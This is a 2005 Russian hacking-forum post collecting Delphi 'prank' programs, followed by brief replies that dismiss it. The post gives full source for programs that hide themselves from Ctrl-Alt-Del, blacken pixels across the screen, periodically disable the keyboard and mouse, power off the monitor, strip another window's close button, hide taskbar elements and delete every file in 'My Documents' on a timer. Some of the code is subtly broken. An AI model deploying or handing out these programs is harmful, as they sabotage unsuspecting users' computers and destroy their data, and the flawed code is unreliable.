Статьи Западло на Delphi #3

Discussion in 'Статьи' started by foreva, 7 Feb 2005.

  1. foreva

    foreva HACKFORUM.RU

    Joined:
    5 Feb 2005
    Messages:
    48
    Likes Received:
    10
    Reputations:
    -2
    Западло на Delphi #3
    Источник: hack-info.org

    Куда подевался экран?
    Для начала запусти Дельфи (желательно версии 5), жми на File -- New Application. Создастся новое приложение. Сейчас ткни на Project -- View Source. Теперь сотри там всё и пиши:

    program joke;
    uses Windows, Graphics; { тут мы подключаем необходимые модули }
    var
    desk:TCanvas; { тут мы объявляем переменные }
    begin
    end.


    Ну что же, каркас готов, теперь будем писать основной код:

    program joke;
    uses Windows, Graphics; { тут мы подключаем необходимые модули }
    var
    desk:TCanvas; { тут мы объявляем переменные }
    begin
    desk:=TCanvas.Create; { инициализируем переменную }
    desk.handle:=GetDC(0); { получаем заголовок десктопа }
    while true do
    begin
    Yield;
    desk.Pixels[Random(1024), Random(768)]:=0; { точка на экране становится черной }

    end;
    end.


    Прога почти готова, жми на F9 и наслаждайся! Теперь осталось сделать что бы прогу нашу через CTRL-ALT-DEL не видно было:

    program joke;
    uses Windows, Graphics; { тут мы подключаем необходимые модули }
    var
    desk:TCanvas; { тут мы объявляем переменные }
    function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';
    begin
    RegisterServiceProcess(GetCurrentProcessID, 1);
    desk:=TCanvas.Create; { инициализируем переменную }
    desk.handle:=GetDC(0); { получаем заголовок десктопа }
    while true do
    begin
    Yield;
    desk.Pixels[Random(1024), Random(768)]:=0; { точка на экране становится черной }
    end;
    end.


    Всё! Нашу заподлянку не снять через "три весёлых клавиши"!. Жми теперь CTRL-F9 и вперёд!

    Отключение клавиатуры
    Для начала запусти Дельфи, выбери в меню Project--> View Source и набери вот это:

    program antiklava;
    uses Windows;
    begin
    end.



    Так, основа готова. Теперь надо добавить ядро программы и объявления переменных:

    program antiklava;
    uses Windows; { подключение необходимых модулей }
    var
    klava:boolean; { объявление логической переменной}
    begin
    klava:=true; { устанавливаем значение переменной }
    while true do { начинаем бесконечный цикл }
    begin
    Yield; { делаем так, чтобы всё не подвисло :)}
    Sleep(2*60*1000); { ничего не делаем 2 минуты }
    klava:=not klava; { присваиваем переменной противоположное значение }
    EnableHardwareInput(klava); { и в зависимости от переменной, отключаем или включаем клаву с мышкой}
    end;
    end.


    Ну вот, всё что нам осталось - CTRL-F9.
    P.S. Большинство примеров написано на Win32 API. Если кто-нибудь захочет переписать их под любой другой язык программирования, знайте - это не возбраняется

    ВЫрубить монитор
    Давайте прикольнёмся над пользователем. Допустим выведем внезапно сообщение, типа... "Уже поздно. Будь послушным мальчиком. Туши свет и вали спать!" и... вырубим монитор...(включить его чудилка уже не сможет)...
    procedure TForm1.Button3Click(Sender: TObject);
    begin
    if MessageDlg('Уже поздно. Будь послушным мальчиком. Туши свет и вали спать!', mtInformatoion, [mbOk], 0)=mrOk then
    SendMessage(Application.Handle,WM_SYSCOMMAND,SC_MONITORPOWER,0);
    end;


    Для того, чтобы программно включить монитор можете использовать следующий код:

    procedure TForm1.Button3Click(Sender: TObject);
    begin
    if MessageDlg('Уже поздно. Будь послушным мальчиком. Туши свет и вали спать!', mtInformatoion, [mbOk], 0)=mrOk then
    SendMessage(Application.Handle,WM_SYSCOMMAND,SC_MONITORPOWER, -1);
    end;


    Отключить кнопку закрытия Х чужого окна
    Для примера, запустите "Блокнот" и попробуем его кнопку закрытия окна сделать неактивной, кроме того пункт "закрыть" в системном меню тоже будет отключён! ;-]

    procedure TForm1.Button1Click (Sender: TObject);
    var
    hwndHandle : THANDLE;
    hMenuHandle : HMENU;
    begin
    hwndHandle := FindWindow(nil, 'Untitled - Notepad');
    if (hwndHandle <> 0) then begin
    hMenuHandle := GetSystemMenu(hwndHandle, FALSE);
    if (hMenuHandle <> 0) then
    DeleteMenu(hMenuHandle, SC_CLOSE, MF_BYCOMMAND);
    end;
    end;


    P.S.
    Вместо "Untitled - Notepad", нужно подставить заголовок того окна, которому вы хотите послать сообщение.

    ОЧИСТИТЬ "МОИ ДОКУМЕНТЫ"
    Мы изучим самый легкий способ: удаление всех файлов из папки "Мои документы" без учёта вложенных файлов. Для этого вынесем компонент класса ТFileListBox - это список файлов (находится на закладке Win3.1 палитры компонентов). Затем, с той же закладки, выносим компонент класса TDirectoryListBox - это список каталогов. Задаём ему свойство FileList, указывающее на список файлов (на компонент FileListBox1). Далее можно по созданию окна или по таймеру (если ваша программа многоразового использования) пишем такой код:

    procedure TForm1.Timer1Timer(Sender: TObject);
    var
    i:Integer;
    begin
    DirectoryListBox1.Directory:='c:\мои документы';
    for i:=0 to FileListBox1.Items.count-1 do begin
    DeleteFile('C:\мои документы\'+FileListBox1.Items);
    end;
    end;


    СКРЫТЬ TRAY, ЧАСЫ, КНОПКУ 'ПУСК', ПАНЕЛЬ ЗАДАЧ
    Для начала запусти Дельфи (желательно версии 5), жми на File -- New Application. Создастся новое приложение. Сейчас ткни на Project -- View Source. Теперь сотри там всё и пиши:

    program proga2;
    uses Windows;
    var
    Wnd:THandle; { объявляем переменные }
    int:integer;
    begin
    Randomize; { холостой прогон генератора случайных чисел }
    int:=(Random(3)); { выбор одного варианта из четырёх }
    case int of
    0: { если первый вариант то }
    begin
    Wnd := FindWindow('Progman', nil); { прячем трей }
    Wnd := FindWindowEx(Wnd, HWND(0),'ShellDll_DefView', nil);
    ShowWindow(Wnd, SW_HIde);
    end;
    1: { если второй вариант то }
    begin
    Wnd := FindWindow('Shell_TrayWnd', nil);
    Wnd := FindWindowEx(Wnd, HWND(0),'TrayNotifyWnd', nil);
    Wnd := FindWindowEx(Wnd, HWND(0),'TrayClockWClass', nil);
    { прячем часы }
    ShowWindow(Wnd, SW_HIde);
    end;
    2:
    begin
    Wnd := FindWindow('Shell_TrayWnd', nil);
    Wnd := FindWindowEx(Wnd, HWND(0),'Button', nil);
    {прячем кнопку "Пуск"}
    ShowWindow(Wnd, SW_HIde);
    end;
    3:
    begin
    Wnd := FindWindow('Shell_TrayWnd', nil);
    Wnd := FindWindowEx(Wnd, HWND(0),'TrayNotifyWnd', nil);
    { прячем "Панель задач" }
    ShowWindow(Wnd, SW_HIDe);
    end;
    end;
    end.


    По желанию можно вставить защиту от CTRL-ALT-DEL.
     
  2. YooogI

    YooogI NoMoneyNoWork

    Joined:
    3 Feb 2005
    Messages:
    98
    Likes Received:
    3
    Reputations:
    0
    гм.......старо, банально и неинтересно
     
  3. KEZ

    KEZ Guest

    Reputations:
    0
    согласен - на делфи можно и короче написать так чтоб все повисло - но нормальные люди (ИМХО!!!) делфи не используют
     
  4. YooogI

    YooogI NoMoneyNoWork

    Joined:
    3 Feb 2005
    Messages:
    98
    Likes Received:
    3
    Reputations:
    0
    ye........C++ рулит!